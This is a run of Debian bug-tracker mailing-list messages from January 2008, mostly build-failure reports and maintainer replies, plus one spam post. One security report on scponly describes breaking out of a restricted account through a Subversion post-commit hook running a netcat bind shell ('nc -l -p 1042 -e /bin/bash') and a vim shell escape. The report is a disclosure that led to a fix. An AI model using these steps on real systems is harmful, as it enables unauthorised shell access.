If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what I am
talking about this indicates a serious mail system misconfiguration
somewhere. Please contact me immediately.)
Debian bug tracking system administrator
(administrator, Debian Bugs database)
---BeginMessage---
Package: gaphor
Version: 0.12.4-2
Severity: serious
User: [EMAIL PROTECTED]
Usertags: origin-ubuntu hardy
Tags: patch
Gaphor 0.12.4-2 FTBFS in an up-to-date amd64 sid sbuild, although I'm
very happy to report it working properly when built. Thank you very
much for the update.
Build output:
...
running clean
find gaphor utils -name \*.pyc -exec rm -f {} \;
rm -f gaphor.1
rm -fr build
rm -f ez_setup.pyc
dh_clean
debian/rules build
xsltproc -''-nonet
/usr/share/sgml/docbook/stylesheet/xsl/nwalsh/manpages/docbook.xsl
debian/gaphor.xml
make: xsltproc: Command not found
make: *** [gaphor.1] Error 127
dpkg-buildpackage: failure: debian/rules build gave error exit status 2
**
Build finished at 20080117-0823
FAILED [dpkg-buildpackage died]
The following patch to debian/control addresses this and a couple
follow-on errors:
diff -u gaphor-0.12.4/debian/control gaphor-0.12.4/debian/control
--- gaphor-0.12.4/debian/control
+++ gaphor-0.12.4/debian/control
@@ -3,9 +3,10
Priority: optional
Maintainer: Cédric Delfosse [EMAIL PROTECTED]
Build-Depends: python, python-support (= 0.6), debhelper (= 5)
+Build-Depends-Indep: python-setuptools, xsltproc, docbook-xsl
Standards-Version: 3.7.3
Package: gaphor
Architecture: all
Also, the package relies on access to the internet at build-time,
which may impact some autobuilders. This can be resolved by adding
python-nose to Build-Depends-Indep: and applying the following patch
to setup.py. Note that I haven't tested without the patch: it may be
the case that use_setuptools will automatically detect a sufficient
version of python-nose, and not attempt to download a newer version.
--- gaphor-0.12.4.orig/setup.py
+++ gaphor-0.12.4/setup.py
@@ -13,9 +13,9 @@
import sys
sys.path.insert(0, '.')
-from ez_setup import use_setuptools
+#from ez_setup import use_setuptools
-use_setuptools()
+#use_setuptools()
from setuptools import setup, find_packages
from distutils.cmd import Command
--
Emmet HIKORY
---End Message---
---BeginMessage---
Source: pykaraoke
Source-Version: 0.5.1-1
sorry, I forgot to close this bug in changelog
--
:wq!
pgp8I8I0GSB0Y.pgp
Description: PGP signature
---End Message---
Bug#462261: marked as done (init.d script doesn't terminate (laptop doesn't shutdown))
Your message dated Wed, 23 Jan 2008 19:39:28 +0100 with message-id [EMAIL PROTECTED] and subject line [Pkg-utopia-maintainers] Bug#462261: init.d script doesn't terminate (laptop doesn't shutdown) has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: network-manager Version: 0.6.5-4 Severity: critical the initscript doesn't work properly. This means that the laptop doesn't shutdown anymore properly. If you really want to stop the network manager you'll have to enter the command twice: First you'll have to cancel it after a while with strc-c, the second stop behaves then normal. (I don't know where the problem is, but it is very annyoing.) Greetings Winnie -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-rc6 (SMP w/2 CPU cores) Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash Versions of packages network-manager depends on: ii adduser 3.105 add and remove users and groups ii dbus 1.1.2-1 simple interprocess messaging syst ii dhcdbd 3.0-2 D-Bus interface to the ISC DHCP cl ii hal 0.5.10-5Hardware Abstraction Layer ii ifupdown 0.6.8 high level tools to configure netw ii iproute 20080108-1 Professional tools to control the ii iputils-arping 3:20071127-1Tool to send ICMP echo requests to ii libc62.7-6 GNU C Library: Shared libraries ii libdbus-1-3 1.1.2-1 simple interprocess messaging syst ii libdbus-glib-1-2 0.74-1 simple interprocess messaging syst ii libgcrypt11 1.4.0-3 LGPL Crypto library - runtime libr ii libglib2.0-0 2.14.5-2The GLib library of C routines ii libgpg-error01.4-2 library for common error values an ii libhal1 0.5.10-5Hardware Abstraction Layer - share ii libiw29 29-1Wireless tools - library ii libnl1-pre8 1.0~pre8-1 Library for dealing with netlink s ii libnm-util0 0.6.5-4 network management framework (shar ii lsb-base 3.1-24 Linux Standard Base 3.1 init scrip ii wpasupplicant0.6.1~git20071119-1 Client support for WPA and WPA2 (I Versions of packages network-manager recommends: ii network-manager-kde 1:0.2-2+b1 KDE systray applet for controlling -- no debconf information ---End Message--- ---BeginMessage--- Patrick Winnertz wrote: Package: network-manager Version: 0.6.5-4 Severity: critical the initscript doesn't work properly. This means that the laptop doesn't shutdown anymore properly. If you really want to stop the network manager you'll have to enter the command twice: First you'll have to cancel it after a while with strc-c, the second stop behaves then normal. (I don't know where the problem is, but it is very annyoing.) Hi Winnie, this is actually a bug in dpkg (s-s-d) and not network-manager. A fixed version of dpkg is already available, so I'm closing this bug report. Cheers, Michael [1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=462104 -- Why is it that all of the instruments seeking intelligent life in the universe are pointed away from Earth? signature.asc Description: OpenPGP digital signature ---End Message---
Bug#461157: wrong bug closed, reopening
reopen 461157 thanks I need sleep. Sorry again (wrong bug number) -- :wq! pgpePTthxqr0j.pgp Description: PGP signature
Processed: wrong bug closed, reopening
Processing commands for [EMAIL PROTECTED]: reopen 461157 Bug#461157: gaphor: FTBFS in sbuild 'reopen' may be inappropriate when a bug has been closed with a version; you may need to use 'found' to remove fixed versions. Bug reopened, originator not changed. thanks Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#369990: ammattiu
http://beekeeni.com/ Now I'm so hard, and so long, my sex life has completely changed for the better -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#461640: gnu-efi needs to build-depend on = 2.17.50.0.14
Hello Jonas, I am wanting to close bug 461640... The debian/control file contains: Build-Depends: debhelper ( 5), binutils (= 2.17), libc6-dev-i386 [amd64], rsync [amd64] Is that not good enough? or do I need to put (= 2.17.50.0.14) ??? whole string (version value)? -Nigel I found the following text in README.gnuefi: ** Prerequisites: To develop x86 and x86_64 EFI applications, the following tools are needed: - gcc-3.0 or newer (gcc 2.7.2 is NOT sufficient!) As of gnu-efi-3.0b, the Redhat 8.0 toolchain is known to work, but the Redhat 9.0 toolchain is not currently supported. - A version of objcopy that supports EFI applications. To check if your version includes EFI support, issue the command: objcopy --help and verify that the line supported targets contains the string efi-app-ia32 and efi-app-x86_64. The binutils release binutils-2.17.50.0.14 supports Intel64 EFI. So this bug should be fixed by adding a build-dependency on binutils = 2.17.50.0.14 Kind regards, - Jonas - -- Jonas Smedegaard [EMAIL PROTECTED] http://www.jones.dk/~jonas/ IT-guide dr. Jones[EMAIL PROTECTED] http://dr.jones.dk/+45 40843136 Debian GNU/Linux[EMAIL PROTECTED] http://www.debian.org/ GnuPG(1024D/C02440B8): 9A98 C6EB C098 9ED0 3085 ECA9 9FB0 DB32 C024 40B8 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462031: Please build with libwxgtk2.6-dev
On Mon, Jan 21, 2008 at 09:29:03PM -0500, Barry deFreese wrote: We are currently in the process of trying to remove wx2.4 from the archive, hence the serious severity of this bug. There are 5 packages packages remaining depending on 2.4 and 3 of those are pending patches and/or uploads. Survex actually works well with wx 2.6 and 2.8 (better than with 2.4 in fact - it's irked me for some time that Survex is stuck with wx 2.4 on Debian). And I certainly can see why people are keen to drop wx 2.4 and Gtk 1.x at this point. The problem is that Survex doesn't handle wide characters internally - for Unicode it uses UTF-8. The wx 2.4 packages Survex uses are what wx terms ANSI, which really means a single byte character set. The Debian wx 2.6 packages are what wx terms Unicode, which really means a double byte encoding. So you can't just build Survex with the Debian wx 2.6 packages - you'd have to either convert aven to use wide-byte Unicode (which as upstream I'm afraid I'm unlikely to accept patches for) or wrap every place where aven passes or receives a string from wx to convert it from/to UTF-8. I've asked Ron Lee in the past about doing ANSI wx 2.6 packages, but he doesn't seem keen. I will attempt to try to help create a patch if that helps you at all, or maybe the 1.1.x versions are getting close to stable for inclusion? Survex 1.1.x is pretty stable now, but has the exact same issues. If you're going to try to address this, it would certainly make more sense to do so in 1.1.x though. I'm currently in the middle of relocating to the other side of the planet, but once that's done, I'm aiming to finally push towards a Survex 1.2 release. For the record, I think the correct way to fix this is to switch Aven from using wxString to std::string, such that wxString only gets used to talk to the wx API. So data in std::string is UTF-8 and data in wxString is whatever wx wants, which should make it harder to miss a conversion. We had enquires from Ubuntu people about a year ago offering to help with migration, and I explained the issues, but never got any patches. I also took a look myself more recently, but it's a mind-numbingly dull job, so I decided to give up until wx 3.0 is out and see how things look then. Probably the easiest fix right now is to either package an ANSI build of wx 2.6 (or 2.8), or if nobody else is at all interested in that, to just bundle such a build with Survex (a full packaged wx variant build does generate rather a lot of packages). Private builds are rightly generally frowned upon, but policy does explicitly note that they're acceptable if non-default compile-time options are needed. Cheers, Olly
Bug#442040: coreutils: FTBFS on PPC in seq test suite
On Wed, 23 Jan 2008 the mental interface of Lucas Nussbaum told: [...] Hi, coreutils 6.10-1 built fine on powerpc, see http://buildd.debian.org/fetch.cgi?pkg=coreutils;ver=6.10-1;arch=powerpc;stamp=1201059579 And I couldn't reproduce the problem by building it manually on bruckner.d.o. Apparently both the buildd and bruckner built with gcc 4.2. Elimar, Bram, could you please try again with coreutils 6.10-1? I can't find them neither in unstable nor in experimental? Elimar -- The path to source is always uphill! -unknown- signature.asc Description: Digital signature
Bug#462296: php5: FTBFS: Uninstallable Build-Depends
Package: php5 Version: 5.2.4-2 Severity: serious Tags: sid From my pbuilder build log: ... The following packages have unmet dependencies: libaprutil1-dev: Depends: libdb4.6-dev which is a virtual package. Resolving dependencies... ... So the Build-Depends on libdb4.4-dev is conflicting with that. -- Daniel Schepler
Bug#442040: coreutils: FTBFS on PPC in seq test suite
On 23/01/08 at 20:35 +0100, Elimar Riesebieter wrote: On Wed, 23 Jan 2008 the mental interface of Lucas Nussbaum told: [...] Hi, coreutils 6.10-1 built fine on powerpc, see http://buildd.debian.org/fetch.cgi?pkg=coreutils;ver=6.10-1;arch=powerpc;stamp=1201059579 And I couldn't reproduce the problem by building it manually on bruckner.d.o. Apparently both the buildd and bruckner built with gcc 4.2. Elimar, Bram, could you please try again with coreutils 6.10-1? I can't find them neither in unstable nor in experimental? It is in unstable. You can dget http://ftp.debian.org/debian/pool/main/c/coreutils/coreutils_6.10-1.dsc -- | Lucas Nussbaum | [EMAIL PROTECTED] http://www.lucas-nussbaum.net/ | | jabber: [EMAIL PROTECTED] GPG: 1024D/023B3F4F | signature.asc Description: Digital signature
Bug#462226: coreutils: FTBFS on mips: tests failed: rm/deep-1, rm/dangling-symlink, ...
On 23/01/08 at 11:11 -0500, Michael Stone wrote: On Wed, Jan 23, 2008 at 01:15:29PM +0100, you wrote: On 23/01/08 at 11:06 +0100, Lucas Nussbaum wrote: Package: coreutils Version: 6.10-1 Severity: serious Hi, coreutils 6.10-1 failed to build on mips: Making check in rm make[3]: Entering directory `/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm' /usr/bin/make check-TESTS make[4]: Entering directory `/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm' make[5]: Entering directory `/build/buildd/coreutils-6.10/build-tree/coreutils-6.10/tests/rm' FAIL: deep-1.log This makes me think we've got a cross compiler or somesuch that can't run the executables we just built. (This is the very first test, and would fail if the generated mktemp wouldn't execute, for example.) Although configure didn't think it was cross compiling. Can we get an actual fail log from the buildd? Note that the mipsel buildd failed in the exact same way. -- | Lucas Nussbaum | [EMAIL PROTECTED] http://www.lucas-nussbaum.net/ | | jabber: [EMAIL PROTECTED] GPG: 1024D/023B3F4F | -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#437148: marked as done (svn, svnserve, unison, rsync passthrough is unsafe)
Your message dated Wed, 23 Jan 2008 19:52:12 + with message-id [EMAIL PROTECTED] and subject line Bug#437148: fixed in scponly 4.6-1etch1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: scponly Version: 4.6-1 X-Debbugs-CC: [EMAIL PROTECTED] Severity: grave Tags: security Hi Thomas Wana, messing around with some friends here, I tried to access his computer with only a scponly protected account. I discovered this way of gaining full shell access: I locally created a subversion repository /tmp/blubb with a /tmp/blubb/hooks/post-commit that contains the command: ( nc -l -p 1042 -e /bin/bash) I copy this repositry using scp -r /tmp/blubb/ [EMAIL PROTECTED]: Then I check out the repository remotely: ssh [EMAIL PROTECTED] /usr/bin/svn co file:///home/user/blubb bla Now I add a file and commit it: touch blah scp blah [EMAIL PROTECTED]:bla/ ssh [EMAIL PROTECTED] /usr/bin/svn ci bla At this point, I have a vim instance running, asking me for the commit message. I could now just run :!/bin/bash to get a shell, but having done the post-commit hook already, I want to use that, so I write something and quit the editor with :x At this point, I can use nc host 1042 and I have a shell for the account that should have none. The solution would be: Do not enable access to svn (or svnserve), which is a simple compilation option. I’d appreciate it if this gets fixed in debian etch. I have sent this information to [EMAIL PROTECTED] and scponly’s upstream maintainer last week, but have not yet gotten a response. Greetings, Joachim -- Joachim nomeata Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata signature.asc Description: Dies ist ein digital signierter Nachrichtenteil ---End Message--- ---BeginMessage--- Source: scponly Source-Version: 4.6-1etch1 We believe that the bug you reported is fixed in the latest version of scponly, which is due to be installed in the Debian FTP archive: scponly_4.6-1etch1.diff.gz to pool/main/s/scponly/scponly_4.6-1etch1.diff.gz scponly_4.6-1etch1.dsc to pool/main/s/scponly/scponly_4.6-1etch1.dsc scponly_4.6-1etch1_amd64.deb to pool/main/s/scponly/scponly_4.6-1etch1_amd64.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Florian Weimer [EMAIL PROTECTED] (supplier of updated scponly package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Tue, 25 Dec 2007 14:11:00 +0100 Source: scponly Binary: scponly Architecture: source amd64 Version: 4.6-1etch1 Distribution: stable-security Urgency: high Maintainer: Thomas Wana [EMAIL PROTECTED] Changed-By: Florian Weimer [EMAIL PROTECTED] Description: scponly- Restricts the commands available to scp- and sftp-users Closes: 437148 Changes: scponly (4.6-1etch1) stable-security; urgency=high . * Non-maintainer upload by the Security Team * Remove rsync, Subversion and Unison support because it was possible to gain shell access through them (CVE-2007-6350). Closes: #437148. * scp: -o and -F options are dangerous (CVE-2007-6415). Files: c02dfefb7289fcb09e9ac83d7cf78655 890 utils optional scponly_4.6-1etch1.dsc 0425cb868cadd026851238452f1db907 96578 utils optional scponly_4.6.orig.tar.gz a588cb9138820d73f16bc81ffc4f8e20 28528 utils optional scponly_4.6-1etch1.diff.gz 2bb425113107e4e471c15685333f1a0a 34214 utils optional scponly_4.6-1etch1_amd64.deb -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iQEVAwUBR3EI5797/wQC1SS+AQLsYAf9FvSLLurAKk42qCXJgjysHinC0iLsKpZp aTVAxPCInbqg7IwX5Rf28gXogQ3OROStMZfduyjxaRXUxnLkgD+pTS/aYKbIueEo LvL2bhHJFyQQuxqZ3wOBLvHndRWAwdsuNWxnpQPDgxWVDzw3jVINp50bk25aVMV8 OMkNxhcJUWjhr71TRv7A1aNfn70z8lnZGTjyBMkqr9MEqiJ2vYr7TPbyhONBqmad 8g6IJj1oJ3aq5wRuoZ88Klwze6kWXfb7TdN6I4grDVZ8JRoBb/AhX5tyXVHo5mZ1 NcgLb/XCLJpLtgI0Lh6/8qErvqE+d5FOYqEKtNLXzng12iPiw4YoNQ== =eP3R -END PGP SIGNATURE- ---End Message---
Bug#460544: googleearth-package: I can comfirm this
Package: googleearth-package Version: 0.4.3 *** Please type your report below this line *** I can confirm this using the versions below. Error-Message is: snip - dpkg-shlibdeps: failure: cannot read debian/control: No such file or directory dpkg-shlibdeps: failure: cannot read debian/control: No such file or directory dpkg-shlibdeps: failure: cannot read debian/control: No such file or directory dpkg-shlibdeps: failure: cannot read debian/control: No such file or directory dpkg-shlibdeps: failure: cannot read debian/control: No such file or directory Package: googleearth Version: 4.2.205.5730+0.4.3-1 Section: non-free/science Priority: optional Maintainer: Architecture: i386 Depends: ttf-dejavu | ttf-bitstream-vera | msttcorefonts, Description: Google Earth, a 3D map/planet viewer Package built with googleearth-package. dpkg-deb: parse error, in file `/tmp/googleearth-deb/DEBIAN/control' near line 7 package `googleearth': `Depends' field, missing package name, or garbage where package name expected Success! -- -- System Information: Debian Release: broken APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.23-dom-acpipatch (SMP w/2 CPU cores; PREEMPT) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages googleearth-package depends on: ii bzip2 1.0.4-2high-quality block-sorting file co ii curl 7.17.1-1 Get a file from an HTTP, HTTPS or ii dpkg-dev 1.14.16.1 package building tools for Debian ii fakeroot 1.9.1 Gives a fake root environment ii file 4.23-1 Determines file type using magic ii wget 1.10.2-3 retrieves files from the web ii x11-common1:7.3+10 X Window System (X.Org) infrastruc googleearth-package recommends no packages. -- no debconf information signature.asc Description: Digital signature
Bug#460419: omniorb4: FTBFS on arm: segmentation fault
Hello, I have problems finding out why omniorb4 fails to build on arm[1]. Having a look at the crash with gdb I can't spot anything obvious. Could someone with an arm knowledge have a look at this please? Thanks, Thomas [1] bugs.debian.org/460419 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#442040: coreutils: FTBFS on PPC in seq test suite
On Wed, 23 Jan 2008 the mental interface of Lucas Nussbaum told: On 23/01/08 at 20:35 +0100, Elimar Riesebieter wrote: On Wed, 23 Jan 2008 the mental interface of Lucas Nussbaum told: [...] Hi, coreutils 6.10-1 built fine on powerpc, see http://buildd.debian.org/fetch.cgi?pkg=coreutils;ver=6.10-1;arch=powerpc;stamp=1201059579 And I couldn't reproduce the problem by building it manually on bruckner.d.o. Apparently both the buildd and bruckner built with gcc 4.2. Elimar, Bram, could you please try again with coreutils 6.10-1? I can't find them neither in unstable nor in experimental? It is in unstable. You can dget http://ftp.debian.org/debian/pool/main/c/coreutils/coreutils_6.10-1.dsc coreutils: Installed: 5.97-5.7 Candidate: 5.97-5.7 Version table: *** 5.97-5.7 0 990 ftp://ftp.de.debian.org unstable/main Packages 100 /var/lib/dpkg/status Not synced complete yet. Anyway, the package builds fine: gcc (GCC) 4.2.3 20080114 (prerelease) (Debian 4.2.2-7) but: Now running lintian... W: coreutils source: out-of-date-standards-version 3.7.2.2 (current is 3.7.3) E: coreutils source: build-depends-on-essential-package-without-using-version build-depends: perl-base W: coreutils: package-contains-empty-directory sbin/ W: coreutils: spelling-error-in-news-debian compatability compatibility E: coreutils: preinst-calls-install-info Finished running lintian. This should be æasy to fix. The last changelog entry hst to be reformated as well. Thanks Elimar -- It's a good thing we don't get all the government we pay for. signature.asc Description: Digital signature
Bug#444692: evolution: cant' reproduce
Package: evolution Followup-For: Bug #444692 Hi, I can't reproduce this on at least three unstable/amd64 systems. Can you try to upgrade or maybe test with a fresh user? Cheers, -- Yves-Alexis -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.24-rc7 (SMP w/2 CPU cores) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages evolution depends on: ii dbus 1.1.2-1 simple interprocess messaging syst ii evolution-common 2.12.3-1 architecture independent files for ii evolution-data-server 1.12.2-1 evolution database backend server ii gconf2 2.20.1-2 GNOME configuration database syste ii gnome-icon-theme 2.20.0-1 GNOME Desktop icon theme ii gtkhtml3.143.16.1-1 HTML rendering/editing library - b ii libart-2.0-2 2.3.19-3 Library of functions for 2D graphi ii libatk1.0-01.20.0-1 The ATK accessibility toolkit ii libbonobo2-0 2.20.3-1 Bonobo CORBA interfaces library ii libbonoboui2-0 2.20.0-1 The Bonobo UI library ii libc6 2.7-6 GNU C Library: Shared libraries ii libcairo2 1.4.14-1 The Cairo 2D vector graphics libra ii libcamel1.2-10 1.12.2-1 The Evolution MIME message handlin ii libdbus-1-31.1.2-1 simple interprocess messaging syst ii libdbus-glib-1-2 0.74-1simple interprocess messaging syst ii libebook1.2-9 1.12.2-1 Client library for evolution addre ii libecal1.2-7 1.12.2-1 Client library for evolution calen ii libedataserver1.2-91.12.2-1 Utility library for evolution data ii libedataserverui1.2-8 1.12.2-1 GUI utility library for evolution ii libegroupwise1.2-131.12.2-1 Client library for accessing group ii libexchange-storage1.2 1.12.2-1 Backend library for evolution cale ii libfontconfig1 2.5.0-2 generic font configuration library ii libfreetype6 2.3.5-1+b1FreeType 2 font engine, shared lib ii libgconf2-42.20.1-2 GNOME configuration database syste ii libglade2-01:2.6.2-1 library to load .glade files at ru ii libglib2.0-0 2.14.5-2 The GLib library of C routines ii libgnome-pilot22.0.15-2+b1 Support libraries for gnome-pilot ii libgnome2-02.20.1.1-1The GNOME 2 library - runtime file ii libgnomecanvas2-0 2.20.1.1-1A powerful object-oriented display ii libgnomeui-0 2.20.1.1-1The GNOME 2 libraries (User Interf ii libgnomevfs2-0 1:2.20.1-1GNOME Virtual File System (runtime ii libgnutls132.0.4-1 the GNU TLS library - runtime libr ii libgtk2.0-02.12.5-2 The GTK+ graphical user interface ii libgtkhtml3.14-19 3.16.1-1 HTML rendering/editing library - r ii libhal10.5.10-5 Hardware Abstraction Layer - share ii libice62:1.0.4-1 X11 Inter-Client Exchange library ii libldap-2.4-2 2.4.7-3 OpenLDAP libraries ii libnm-glib00.6.5-4 network management framework (GLib ii libnotify1 [libnotify1 0.4.4-3 sends desktop notifications to a n ii libnspr4-0d4.7.0~1.9b1-2 NetScape Portable Runtime Library ii libnss3-1d 3.12.0~1.9b1-2Network Security Service libraries ii liborbit2 1:2.14.10-0.1 libraries for ORBit2 - a CORBA ORB ii libpango1.0-0 1.18.4-1 Layout and rendering of internatio ii libpisock9 0.12.3-2 library for communicating with a P ii libpisync1 0.12.3-2 synchronization library for PalmOS ii libpng12-0 1.2.15~beta5-3PNG library - runtime ii libpopt0 1.10-3lib for parsing cmdline parameters ii libsm6 2:1.0.3-1+b1 X11 Session Management library ii libsoup2.2-8 2.2.104-1 an HTTP library implementation in ii libx11-6 2:1.0.3-7 X11 client-side library ii libxcursor11:1.1.9-1 X cursor management library ii libxext6 1:1.0.3-2 X11 miscellaneous extension librar ii libxfixes3 1:4.0.3-2 X11 miscellaneous 'fixes' extensio ii libxi6 2:1.1.3-1 X11 Input extension library ii libxinerama1 1:1.0.2-1 X11 Xinerama extension library ii libxml22.6.31.dfsg-1 GNOME XML library ii libxrandr2 2:1.2.2-1 X11 RandR extension library ii
Bug#462249: libaudio-flac-header-perl: FTBFS on armel, hppa, m68k, powerpc, s390, sparc
On Wed, Jan 23, 2008 at 06:17:15PM +0200, Niko Tyni wrote: On Wed, Jan 23, 2008 at 03:07:48PM +0200, Riku Voipio wrote: Package: libaudio-flac-header-perl Version: 1.9-1 Severity: serious Justification: no longer builds from source Since the architectures where testsuite fails have little in common, it could be that this bug is a bug in the testsuite rather than testsuite exposing bugs in libaudio-flac-header-perl code. No, it seems to be a real bug. I could reproduce this on hppa (paer.d.o), and the failing test is due to differing cuesheet information: hppa gives REM FLAC__lead-in 1604068 REM FLAC__lead-out 170 153200460 where it's supposed to be REM FLAC__lead-in 88200 REM FLAC__lead-out 170 153200460 OK, I'm as far as seeing that this code (in Header.xs:250 or so) newSVpvf(REM FLAC__lead-in %UVuf\n, cs-lead_in); where cs-lead_in is a FLAC__uint64 and contains 88200, gives the Perl string REM FLAC__lead-in 1604068 on hppa. An explicit cast fixes it: newSVpvf(REM FLAC__lead-in %UVuf\n, (unsigned int) cs-lead_in); I can't really say I understand what's happening. The UVuf macro is defined as lu (in /usr/lib/perl/5.8/CORE/config.h), and fprintf(stderr, %lu\n, cs-lead_in) gives 88200 as expected. This is starting to look like a Perl bug in Perl_newSVpvf()... Cheers, -- Niko Tyni [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#455806: evolution: can't reproduce
Package: evolution Followup-For: Bug #455806 Hi, evolution works for me on at least three unstable/amd64 systems. Maybe you could try with a more recent version? Regards, -- Yves-Alexis -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.24-rc7 (SMP w/2 CPU cores) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages evolution depends on: ii dbus 1.1.2-1 simple interprocess messaging syst ii evolution-common 2.12.3-1 architecture independent files for ii evolution-data-server 1.12.2-1 evolution database backend server ii gconf2 2.20.1-2 GNOME configuration database syste ii gnome-icon-theme 2.20.0-1 GNOME Desktop icon theme ii gtkhtml3.143.16.1-1 HTML rendering/editing library - b ii libart-2.0-2 2.3.19-3 Library of functions for 2D graphi ii libatk1.0-01.20.0-1 The ATK accessibility toolkit ii libbonobo2-0 2.20.3-1 Bonobo CORBA interfaces library ii libbonoboui2-0 2.20.0-1 The Bonobo UI library ii libc6 2.7-6 GNU C Library: Shared libraries ii libcairo2 1.4.14-1 The Cairo 2D vector graphics libra ii libcamel1.2-10 1.12.2-1 The Evolution MIME message handlin ii libdbus-1-31.1.2-1 simple interprocess messaging syst ii libdbus-glib-1-2 0.74-1simple interprocess messaging syst ii libebook1.2-9 1.12.2-1 Client library for evolution addre ii libecal1.2-7 1.12.2-1 Client library for evolution calen ii libedataserver1.2-91.12.2-1 Utility library for evolution data ii libedataserverui1.2-8 1.12.2-1 GUI utility library for evolution ii libegroupwise1.2-131.12.2-1 Client library for accessing group ii libexchange-storage1.2 1.12.2-1 Backend library for evolution cale ii libfontconfig1 2.5.0-2 generic font configuration library ii libfreetype6 2.3.5-1+b1FreeType 2 font engine, shared lib ii libgconf2-42.20.1-2 GNOME configuration database syste ii libglade2-01:2.6.2-1 library to load .glade files at ru ii libglib2.0-0 2.14.5-2 The GLib library of C routines ii libgnome-pilot22.0.15-2+b1 Support libraries for gnome-pilot ii libgnome2-02.20.1.1-1The GNOME 2 library - runtime file ii libgnomecanvas2-0 2.20.1.1-1A powerful object-oriented display ii libgnomeui-0 2.20.1.1-1The GNOME 2 libraries (User Interf ii libgnomevfs2-0 1:2.20.1-1GNOME Virtual File System (runtime ii libgnutls132.0.4-1 the GNU TLS library - runtime libr ii libgtk2.0-02.12.5-2 The GTK+ graphical user interface ii libgtkhtml3.14-19 3.16.1-1 HTML rendering/editing library - r ii libhal10.5.10-5 Hardware Abstraction Layer - share ii libice62:1.0.4-1 X11 Inter-Client Exchange library ii libldap-2.4-2 2.4.7-3 OpenLDAP libraries ii libnm-glib00.6.5-4 network management framework (GLib ii libnotify1 [libnotify1 0.4.4-3 sends desktop notifications to a n ii libnspr4-0d4.7.0~1.9b1-2 NetScape Portable Runtime Library ii libnss3-1d 3.12.0~1.9b1-2Network Security Service libraries ii liborbit2 1:2.14.10-0.1 libraries for ORBit2 - a CORBA ORB ii libpango1.0-0 1.18.4-1 Layout and rendering of internatio ii libpisock9 0.12.3-2 library for communicating with a P ii libpisync1 0.12.3-2 synchronization library for PalmOS ii libpng12-0 1.2.15~beta5-3PNG library - runtime ii libpopt0 1.10-3lib for parsing cmdline parameters ii libsm6 2:1.0.3-1+b1 X11 Session Management library ii libsoup2.2-8 2.2.104-1 an HTTP library implementation in ii libx11-6 2:1.0.3-7 X11 client-side library ii libxcursor11:1.1.9-1 X cursor management library ii libxext6 1:1.0.3-2 X11 miscellaneous extension librar ii libxfixes3 1:4.0.3-2 X11 miscellaneous 'fixes' extensio ii libxi6 2:1.1.3-1 X11 Input extension library ii libxinerama1 1:1.0.2-1 X11 Xinerama extension library ii libxml22.6.31.dfsg-1 GNOME XML library ii libxrandr2 2:1.2.2-1 X11 RandR extension library ii libxrender1
Bug#462226: coreutils: FTBFS on mips: tests failed: rm/deep-1, rm/dangling-symlink, ...
